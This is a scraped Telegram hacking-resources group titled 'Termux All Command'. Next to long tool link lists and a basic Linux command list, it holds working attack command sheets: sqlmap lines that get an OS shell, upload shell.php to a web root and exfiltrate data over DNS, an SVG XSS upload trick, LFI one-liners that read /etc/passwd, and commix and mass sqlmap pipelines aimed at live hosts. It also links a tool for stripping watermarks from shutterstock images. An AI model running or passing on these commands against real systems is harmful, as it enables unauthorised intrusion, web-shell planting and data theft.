Termux All Command [Telegram Group]
前往频道在 Telegram
Hello This Is Termux All Command Official Telegram Group. Here Share All Kind of Resourses. It is Also backup of Facebook Page Telegram Channel >> https://t.me/termuxcommandfull Facebook Page >> https://www.facebook.com/termux.command.full
显示更多1 183
订阅者
+424 小时
+177 天
+4530 天
帖子存档
Download shutterstock images without watermark
Link :- Click here
𝗦𝘁𝗲𝗽 𝟭 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗕𝘂𝗴 𝗕𝗼𝘂𝗻𝘁𝘆 𝗖𝗼𝘂𝗿𝘀𝗲: Start here! This course will give you a solid foundation in web app exploitation and sharpen your bug bounty skills.
𝗦𝘁𝗲𝗽 𝟮 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗪𝗲𝗯 𝗣𝗲𝗻𝘁𝗲𝘀𝘁 𝗔𝘀𝘀𝗼𝗰𝗶𝗮𝘁𝗲 (𝗣𝗪𝗣𝗔) 𝗘𝘅𝗮𝗺: Modeled after real-world scenarios, this exam will put your knowledge to the test and prepare you for the next level!
𝗦𝘁𝗲𝗽 𝟯 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗪𝗲𝗯 𝗛𝗮𝗰𝗸𝗶𝗻𝗴 𝗖𝗼𝘂𝗿𝘀𝗲: Once you’ve aced the PWPA, dive deeper into Practical Web Hacking, where you'll tackle vulnerabilities and learn remediation techniques.
𝗦𝘁𝗲𝗽 𝟰 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗔𝗣𝗜 𝗛𝗮𝗰𝗸𝗶𝗻𝗴 𝗖𝗼𝘂𝗿𝘀𝗲: Now, it’s time to focus on APIs! In this course, you’ll perform attacks against vulnerable API endpoints, prepping you for the final step.
𝗦𝘁𝗲𝗽 𝟱 - 𝗧𝗵𝗲 𝗣𝗪𝗣𝗣 𝗘𝘅𝗮𝗺: You’re ready for the big challenge—the PWPP Exam! Test everything you've learned with real-world scenarios and level up as a web app pentester.
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings.
Many file uploads allow SVGs and are prone to tampering.
🕸 Pentesting Websites 🕸
🎯 SqlInjection:
▪️https://github.com/Neohapsis/bbqsql
▪️https://github.com/libeclipse/blind-sql-bitshifting
▪️https://github.com/sqlmapproject/sqlmap
▪️https://github.com/HandsomeCam/Absinthe
🤜 Pentest Framework
▪️https://github.com/trustedsec/ptf
▪️https://github.com/georgiaw/Smartphone-Pentest-Framework
▪️https://github.com/dloss/python-pentest-tools
▪️https://github.com/enaqx/awesome-pentest
▪️https://github.com/PenturaLabs/Linux_Exploit_Suggester
🌐 Webapp
▪️http://www.websecurify.com/
▪️https://www.netsparker.com/
▪️http://www.acunetix.com/vulnerability-scanner/
▪️https://www.rapid7.com/products/nexpose/
▪️http://www.tenable.com/products/nessus-vulnerability-scanner
▪️https://secapps.com/
▪️https://github.com/Arachni/arachni
▪️https://github.com/leebaird/discover/blob/master/discover.sh
💥 Web exploitation
▪️https://github.com/1N3/Sn1per
WPScan ( https://wpscan.org/ )
Black box WordPress vulnerability scanner ( https://t.me/ViperZCrew/14001 )
▪️https://github.com/RUB-NDS/WS-Attacker
SQLmap - Automatic SQL injection and database takeover tool ( sqlmap.org )
weevely3 - Weaponized web shell ( https://github.com/epinna/weevely3 )
Wappalyzer - Wappalyzer uncovers the technologies used on websites ( https://github.com/AliasIO/Wappalyzer )
cms-explorer - CMS Explorer is designed to reveal the the specific modules, plugins, components and themes that various CMS driven web sites are running. ( https://github.com/FlorianHeigl/cms-explorer )
joomscan - Joomla CMS scanner ( https://github.com/rezasp/joomscan.git )
WhatWeb - Website Fingerprinter ( https://github.com/urbanadventurer/WhatWeb )
BlindElephant - Web Application Fingerprinter ( https://github.com/lokifer/BlindElephant )
🧉 Complete Bug Bounty tool List 🧉
🧉 dnscan
https://github.com/rbsec/dnscan
🧉 Knockpy
https://github.com/guelfoweb/knock
🧉 Sublist3r
https://github.com/aboul3la/Sublist3r
🧉 massdns
https://github.com/blechschmidt/massdns
🧉 nmap
https://nmap.org
🧉 masscan
https://github.com/robertdavidgraham/masscan
🧉 EyeWitness
https://github.com/ChrisTruncer/EyeWitness
🧉 DirBuster
https://sourceforge.net/projects/dirbuster/
🧉 dirsearch
https://github.com/maurosoria/dirsearch
🧉 Gitrob
https://github.com/michenriksen/gitrob
🧉 git-secrets
https://github.com/awslabs/git-secrets
🧉 sandcastle
https://github.com/yasinS/sandcastle
🧉 bucket_finder
https://digi.ninja/projects/bucket_finder.php
🧉 GoogD0rker
https://github.com/ZephrFish/GoogD0rker/
🧉 Wayback Machine
https://web.archive.org
🧉 waybackurls
https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050
🧉 Sn1per
https://github.com/1N3/Sn1per/
🧉 XRay
https://github.com/evilsocket/xray
🧉 wfuzz
https://github.com/xmendez/wfuzz/
🧉 patator
https://github.com/lanjelot/patator
🧉 datasploit
https://github.com/DataSploit/datasploit
🧉 hydra
https://github.com/vanhauser-thc/thc-hydra
🧉 changeme
https://github.com/ztgrace/changeme
🧉 MobSF
https://github.com/MobSF/Mobile-Security-Framework-MobSF/
🧉 Apktool
https://github.com/iBotPeaches/Apktool
🧉 dex2jar
https://sourceforge.net/projects/dex2jar/
🧉 sqlmap
http://sqlmap.org/
🧉 oxml_xxe
https://github.com/BuffaloWill/oxml_xxe/
🧉 XXE Injector
https://github.com/enjoiz/XXEinjector
🧉 The JSON Web Token Toolkit
https://github.com/ticarpi/jwt_tool
🧉 ground-control
https://github.com/jobertabma/ground-control
🧉 ssrfDetector
https://github.com/JacobReynolds/ssrfDetector
🧉 LFISuit
https://github.com/D35m0nd142/LFISuite
🧉 GitTools
https://github.com/internetwache/GitTools
🧉 dvcs-ripper
https://github.com/kost/dvcs-ripper
🧉 tko-subs
https://github.com/anshumanbh/tko-subs
🧉HostileSubBruteforcer
https://github.com/nahamsec/HostileSubBruteforcer
🧉 Race the Web
https://github.com/insp3ctre/race-the-web
🧉 ysoserial
https://github.com/GoSecure/ysoserial
🧉 PHPGGC
https://github.com/ambionics/phpggc
🧉 CORStest
https://github.com/RUB-NDS/CORStest
🧉 retire-js
https://github.com/RetireJS/retire.js
🧉 getsploit
https://github.com/vulnersCom/getsploit
🧉 Findsploit
https://github.com/1N3/Findsploit
🧉 bfac
https://github.com/mazen160/bfac
🧉 WPScan
https://wpscan.org/
🧉 CMSMap
https://github.com/Dionach/CMSmap
🧉 Amass
https://github.com/OWASP/Amass
━━━━━━━━━━━━━
Share and support 🤟😉
@new_everything_free 😘
😍 Complete free Bug Bounty tool List for termux and kali linux 😍
➖▪️ ▪️➖
dnscan https://github.com/rbsec/dnscan
Knockpy https://github.com/guelfoweb/knock
Sublist3r https://github.com/aboul3la/Sublist3r
massdns https://github.com/blechschmidt/massdns
nmap https://nmap.org
masscan https://github.com/robertdavidgraham/masscan
EyeWitness https://github.com/ChrisTruncer/EyeWitness
DirBuster https://sourceforge.net/projects/dirbuster/
dirsearch https://github.com/maurosoria/dirsearch
Gitrob https://github.com/michenriksen/gitrob
git-secrets https://github.com/awslabs/git-secrets
sandcastle https://github.com/yasinS/sandcastle
bucket_finder https://digi.ninja/projects/bucket_finder.php
GoogD0rker https://github.com/ZephrFish/GoogD0rker/
Wayback Machine https://web.archive.org
waybackurls https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050
Sn1per https://github.com/1N3/Sn1per/
XRay https://github.com/evilsocket/xray
wfuzz https://github.com/xmendez/wfuzz/
patator https://github.com/lanjelot/patator
datasploit https://github.com/DataSploit/datasploit
hydra https://github.com/vanhauser-thc/thc-hydra
changeme https://github.com/ztgrace/changeme
MobSF https://github.com/MobSF/Mobile-Security-Framework-MobSF/
Apktool https://github.com/iBotPeaches/Apktool
dex2jar https://sourceforge.net/projects/dex2jar/
sqlmap http://sqlmap.org/
oxml_xxe https://github.com/BuffaloWill/oxml_xxe/
XXE Injector https://github.com/enjoiz/XXEinjector
The JSON Web Token Toolkit https://github.com/ticarpi/jwt_tool
ground-control https://github.com/jobertabma/ground-control
ssrfDetector https://github.com/JacobReynolds/ssrfDetector
LFISuit https://github.com/D35m0nd142/LFISuite
GitTools https://github.com/internetwache/GitTools
dvcs-ripper https://github.com/kost/dvcs-ripper
tko-subs https://github.com/anshumanbh/tko-subs
HostileSubBruteforcer https://github.com/nahamsec/HostileSubBruteforcer
Race the Web https://github.com/insp3ctre/race-the-web
ysoserial https://github.com/GoSecure/ysoserial
PHPGGC https://github.com/ambionics/phpggc
CORStest https://github.com/RUB-NDS/CORStest
retire-js https://github.com/RetireJS/retire.js
getsploit https://github.com/vulnersCom/getsploit
Findsploit https://github.com/1N3/Findsploit
bfac https://github.com/mazen160/bfac
WPScan https://wpscan.org/
CMSMap https://github.com/Dionach/CMSmap
Amass https://github.com/OWASP/Amass
⭐️⭐️⭐️⭐️⭐️ 🆂🆀🅻 🆃🆁🅸🅲🅺🆂 ⭐️⭐️⭐️⭐️⭐️
✅ SQLi with Blind (True/False)
- Time-Based Blind SQLi
sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=T --time-sec=5
- Boolean-Based Blind SQLi
sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=B --boolean-based
✅ SQLi with Error-Based
sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=E --dbms=mysql --risk=3 --level=5
✅ Union-Based SQL Injection
sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --union-cols=1-5 -D database_name -T table_name -C column1,column2 --dump
✅ Out-of-Band (OOB) SQLi
sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=U --dns-domain="example.com" --level=5 --risk=3
✅ SQLi with WAF Evasion
sqlmap -u 'http://127.0.0.1/page.php?id=1' --data="id=1" --tamper=between --level=5 --risk=3
✅ SQLi Get Shell
sqlmap -u 'http://127.0.0.1/page.php?id=1' --data="id=1" --os-shell --level=5 --risk=3
✅ SQLi with vulnerability File Upload
sqlmap -u 'http://127.0.0.1/page.php?id=1' --data="id=1" --file-write='/path/to/local/shell.php' --file-dest='/var/www/html/shell.php'
✅ Exfiltrate Data using DNS Tunneling
sqlmap -u 'http://127.0.0.1/page.php?id=1' --dns-domain="mydomain.com" --level=5 --risk=3
⚠️ Commix Bug hunting command :
✅ OS Injection (Recommend)
commix -u "https://hackerone.com" --crawl=2 --batch --skip-heuristics --force-ssl --random-agent --tamper=space2comment --os-cmd="ls/id/whoami"
✅ Commix + "SQLmap"
commix -u "https://hackerone.com/" --batch --crawl=2 | grep "=" | tee urls.txt && sqlmap -m urls.txt --batch --random-agent
✅ Commix + "BurpSuite Monitoring"
commix -u "https://hackerone.com/" --crawl=2 --batch --skip-heuristics --force-ssl --random-agent --tamper=space2comment --os-cmd="id/id/whoami" --proxy="http://127.0.0.1:8080"
🔊 100 tools every Web Pentester must know
Burp Suite
OWASP ZAP
Metasploit Framework
sqlmap
Nmap
Dirbuster
WPScan
Arachni
BeEF
Hydra
XSSer
Sqlninja
Cain and Abel
Netcat
THC Hydra
Nikto
Skipfish
Vega
sqlsus
John the Ripper
THC-SSL-DOS
Sublist3r
Wfuzz
Shodan
Fiddler
sqlmapgui
Wapiti
Yersinia
Tamper Data
WebScarab
Paros
SQL Inject Me
Acunetix
Nessus
Grendel-Scan
Ratproxy
IronWASP
Websecurify
Zed Attack Proxy
Zenmap
NoSQLMap
ODAT
X-Forwarded-For Spoofer
WebSlayer
w3af
Maltego
WPScan Desktop
WP-Scan Vulnerability Database
BruteForcer
JoomScan
Joomfish Scanner
WP Security Audit Log
JoomlaScan
CMSmap
Vega Vulnerability Scanner
Skipfish Web Application Security Scanner
Grabber
DAVScan
bbqsql
Scrawlr
Cewl
Wapiti Web Application Vulnerability Scanner
XssPy
RIPS
Zenmap
WPScan
Arachni
OWASP ZAP
Sqlmap
Nessus
Kali Linux
Acunetix Web Vulnerability Scanner
Nmap
Vega
Metasploit Framework
Hydra
Burp Suite
Nikto
Zed Attack Proxy
Grendel-Scan
Skipfish
Arachni
Wfuzz
Dirbuster
Sqlninja
NoSQLMap
OWASP Mantra
WP-Scanner
XSSer
Metagoofil
Brutus
RainbowCrack
THC-Hydra
Medusa
THC-SSL-DOS
OpenVAS
WP-Scan Vulnerability Database
WPScan Desktop
LFI Suite
XssPy
━━━━━━━━━━━━━━━
👨💻 BUG BOUNTY WITH ONE-LINE BASH SCRIPTS 🕵️
𝐗𝐒𝐒 ⪼
cat targets.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @
cat targets.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
𝐒𝐐𝐋𝐢 ⪼
httpx -l targets.txt -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1'
𝐒𝐒𝐑𝐅 ⪼
findomain -t http://target.com -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace 𝘩𝘵𝘵𝘱://𝘠𝘖𝘜𝘙.𝘣𝘶𝘳𝘱𝘤𝘰𝘭𝘭𝘢𝘣𝘰𝘳𝘢𝘵𝘰𝘳.𝘯𝘦𝘵
𝐋𝐅𝐈 ⪼
gau http://vuln.target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
𝐎𝐏𝐄𝐍 𝐑𝐄𝐃𝐈𝐑𝐄𝐂𝐓 ⪼
gau http://vuln.target.com | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
𝐏𝐑𝐎𝐓𝐎𝐓𝐘𝐏𝐄 𝐏𝐎𝐋𝐋𝐔𝐓𝐈𝐎𝐍 ⪼
subfinder -d http://target.com | httpx -silent | sed 's/$/\/?proto[testparam]=exploit\//' | page-fetch -j 'window.testparam=="exploit"?"[VULN]":"[NOT]"' | sed "s/(//g"|sed"s/)//g" | sed "s/JS//g" | grep "VULN"
𝐂𝐎𝐑𝐒 ⪼
gau http://vuln.target.com | while read url;do target=$(curl -s -I -H "Origin: https://evvil.com" -X GET $url) | if grep 'https://evvil.com'; then [Potentional CORS Found]echo $url;else echo Nothing on "$url";fi;done
𝐄𝐱𝐭𝐫𝐚𝐜𝐭 .𝐣𝐬 ⪼
echo http://target.com | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1
assetfinder http://vuln.target.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew
𝐄𝐱𝐭𝐫𝐚𝐜𝐭 𝐔𝐑𝐋𝐬 𝐟𝐫𝐨𝐦 𝐜𝐨𝐦𝐦𝐞𝐧𝐭 ⪼
cat targets.txt | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]'
𝐃𝐮𝐦𝐩 𝐈𝐧-𝐬𝐜𝐨𝐩𝐞 𝐀𝐬𝐬𝐞𝐭𝐬 𝐟𝐫𝐨𝐦 𝐇𝐚𝐜𝐤𝐞𝐫𝐎𝐧𝐞 ⪼
curl -sL 𝘩𝘵𝘵𝘱𝘴://𝘨𝘪𝘵𝘩𝘶𝘣.𝘤𝘰𝘮/𝘢𝘳𝘬𝘢𝘥𝘪𝘺𝘵/𝘣𝘰𝘶𝘯𝘵𝘺-𝘵𝘢𝘳𝘨𝘦𝘵𝘴-𝘥𝘢𝘵𝘢/𝘣𝘭𝘰𝘣/𝘮𝘢𝘴𝘵𝘦𝘳/𝘥𝘢𝘵𝘢/𝘩𝘢𝘤𝘬𝘦𝘳𝘰𝘯𝘦_𝘥𝘢𝘵𝘢.𝘫𝘴𝘰𝘯?𝘳𝘢𝘸=𝘵𝘳𝘶𝘦 | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type]
𝐅𝐢𝐧𝐝 𝐥𝐢𝐯𝐞 𝐡𝐨𝐬𝐭/𝐝𝐨𝐦𝐚𝐢𝐧/𝐚𝐬𝐬𝐞𝐭𝐬 ⪼
subfinder -d http://vuln.target.com -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u
𝐒𝐜𝐫𝐞𝐞𝐧𝐬𝐡𝐨𝐭 ⪼
assetfinder -subs-only http://target.com | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @'
🚨 Essential Mind Maps for Bug Hunters!
Boost your bug bounty skills with Mind-Maps Repository by Imran Parray.
Topics include:
Bug Hunting Methodology
2FA & OAuth Testing
SSRF, Server-side Issues, and more!
🔗 Explore here: https://lnkd.in/g-_jwEGM
Subdosec - Subdomain takeover scanner
CLI : https://lnkd.in/gmW-nth3
Web Based : https://lnkd.in/gxn2AmHA
OSINT tool for searching people's digital footprint and leaked passwords across various social networks, written in Go. : https://github.com/ibnaleem/gosearch
🚀 LINUX BASIC COMMANDS 🚨
File and Directory Management:
1. ls: List files and directories.
2. cd: Change directory.
3. pwd: Display the current directory.
4. mkdir: Create a new directory.
5. rm: Remove files or directories.
6. cp: Copy files or directories.
7. mv: Move or rename files.
8. touch: Create an empty file.
9. tree: Display directory structure.
File Viewing and Editing:
10. cat: Display file content.
11. less / more: View files page by page.
12. head: Show the first 10 lines.
13. tail: Show the last 10 lines.
14. nano: A simple text editor.
15. vi / vim: An advanced text editor.
Search Operations:
16. find: Locate files and directories.
17. grep: Search within files.
18. locate: Quickly find files using a database.
19. which: Locate a command’s path.
Disk and File System Management:
20. df: Display disk space usage.
21. du: Show directory or file size.
22. mount / umount: Mount or unmount file systems.
23. lsblk: List all block devices.
24. fsck: Check and repair file systems.
Process and System Monitoring:
25. ps: Display running processes.
26. top: Monitor system processes.
27. htop: Interactive process manager.
28. kill: Terminate a process.
29. uptime: Show system uptime.
30. free: Check memory usage.
Networking Commands:
31. ping: Check connectivity.
32. curl: Transfer data to/from servers.
33. wget: Download files from the internet.
34. ifconfig / ip: View or configure network interfaces.
35. netstat: Show network statistics.
36. ssh: Remote access to servers.
37. SCP: Securely Copy Files Between Systems
Permissions and Ownership:
38. chmod: Modify file permissions
39. chown: Change file owner/group
40. umask: Set default permissions
Archiving and Compression:
41. tar: Archive and compress files
42. gzip/gunzip: Compress and decompress files
43. zip/unzip: Handle zip files
System Information:
44. uname -a: Show system information
45. hostname: Display system hostname
46. whoami: Current user
47. id: Show user and group IDs
48. dmesg: Kernel log messages
49. lscpu: CPU architecture information
50. lsusb: List USB devices
51. lspci: Show PCI devices
hashtag#linux
hashtag#commands
hashtag#serversupport
hashtag#supportexecutive
hashtag#monitoring
Finally, let's run sqlmap on all identified potentially vulnerable URLs.
findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent
hashtag#web hashtag#sqli
now its become so easy for making notes from any youtube video just type study.lol/ in front of any youtube video like study.lol/https://youtubevideolink it will give u all video summary and amazing question answer in flashcards try it(not a promo i just found it yesterday and found it useful)
🛠️ 20 Very Advanced Information Gathering Tools 🛠️
1. Nmap
➤ Network Scanner
🔗 github.com/nmap/nmap
2. Maltego
➤ Visual Link Analysis
🔗 maltego.com
3. Shodan
➤ IoT Search Engine
🔗 github.com/m4ll0k/Shodanfy.py
4. Recon-ng
➤ Web Reconnaissance Framework
🔗 github.com/lanmaster53/recon-ng
5. Spiderfoot
➤ OSINT Automation Tool
🔗 github.com/smicallef/spiderfoot
6. theHarvester
➤ Email and Subdomain Gatherer
🔗 github.com/laramies/theHarvester
7. Amass
➤ Network Mapping of Attack Surfaces
🔗 github.com/OWASP/Amass
8. RED HAWK
➤ All-In-One Scanning Tool
🔗 github.com/Tuhinshubhra/RED_HAWK
9. ReconSpider
➤ Multi-purpose Gathering Tool
🔗 github.com/bhavsec/reconspider
10. OSINT Framework
➤ Comprehensive Information Gathering Collection
🔗 github.com/lockfale/OSINT-Framework
11. Infoga
➤ Email OSINT Gatherer
🔗 github.com/m4ll0k/Infoga
12. Striker
➤ Offensive Information Gathering Tool
🔗 github.com/s0md3v/Striker
13. SecretFinder
➤ API Key and Secret Finder
🔗 github.com/m4ll0k/SecretFinder
14. Xerosploit
➤ Penetration Testing Toolkit
🔗 github.com/LionSec/xerosploit
15. FOCA
➤ Metadata Analyzer
🔗 github.com/ElevenPaths/FOCA
16. ReconDog
➤ Reconnaissance Swiss Army Knife
🔗 github.com/s0md3v/ReconDog
17. Metagoofil
➤ Metadata Extractor
🔗 github.com/laramies/metagoofil
18. Dracnmap
➤ Nmap Script Wrapper
🔗 github.com/Screetsec/Dracnmap
19. Rang3r
➤ Multi-threaded Port Scanner
🔗 github.com/floriankunushevci/rang3r
20. Breacher
➤ Admin Panel Finder
🔗 github.com/s0md3v/Breacher
🚀 Stay tuned for more advanced tools & guides
🔔 Follow us for daily updates on cybersecurity
👥 Join our channel for more insights!
https://t.me/teammatrixs
Website Security
Urlscan.io - URL and website scanner
→https://urlscan.io/
VirusTotal URL Search
VirusTotal
→https://www.virustotal.com/gui/home/url
Threat Intelligence Platform
→https://threatintelligenceplatform.com/
Is This Website Safe
→https://safeweb.norton.com/
Safe Browsing site status
→https://transparencyreport.google.com/safe-browsing/search?hl=en
WHOIS IP Lookup Tool
→https://www.ultratools.com/tools/ipWhoisLookupResult
Find Website IP Address
→https://www.ipvoid.com/find-website-ip/
IP Address Blacklist Check
→https://www.ipvoid.com/ip-blacklist-check/
Check The Website’s SSL Certificate
See Your Entire Attack Surface in Real-Time. Get a current view of all of your organization's assets so you can proactively prevent targeted attacks and investigate suspicious activity.
→https://censys.io/ipv4
SpiderFoot
→https://www.spiderfoot.net/
Tools for Looking up Malicious Websites
→https://zeltser.com/lookup-malicious-websites/
How to Tell if a Website is Dangerous
→https://www.secjuice.com/how-to-tell-if-a-website-is-dangerous/
Malicious URL Scanner
→https://www.ipqualityscore.com/threat-feeds/malicious-url-scanner
Threatlog - Malicious Domains Database
Database of malicious domains, fraudulent and phishing domains, malware domains database, threat intelligence feeds, detect potentially malicious domains.
→https://www.threatlog.com/
Opswat - MetaDefender Cloud
Cloud-based Deep CDR, Multiscanning, Sandbox Dynamic Analysis, Hash and IP-Domain reputation with options for personal and commercial users.
→https://metadefender.opswat.com/
Tools for searching emails for a specific domain:
https://lnkd.in/dNRbh9dh
https://lnkd.in/dUS7g_Xc
https://lnkd.in/dx-dgVRB
https://www.infoga.io/
https://findemail.io/
https://lnkd.in/djBBAa6j
https://lnkd.in/daVsYTts
https://minelead.io/
Discovered Information Disclosure Vulnerability via Directory and File Disclosure 🔍
~Tip: Add the file
/unstable/ to your wordlist, and you might discover some juicy data. 💡
Enjoy! 🚀
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
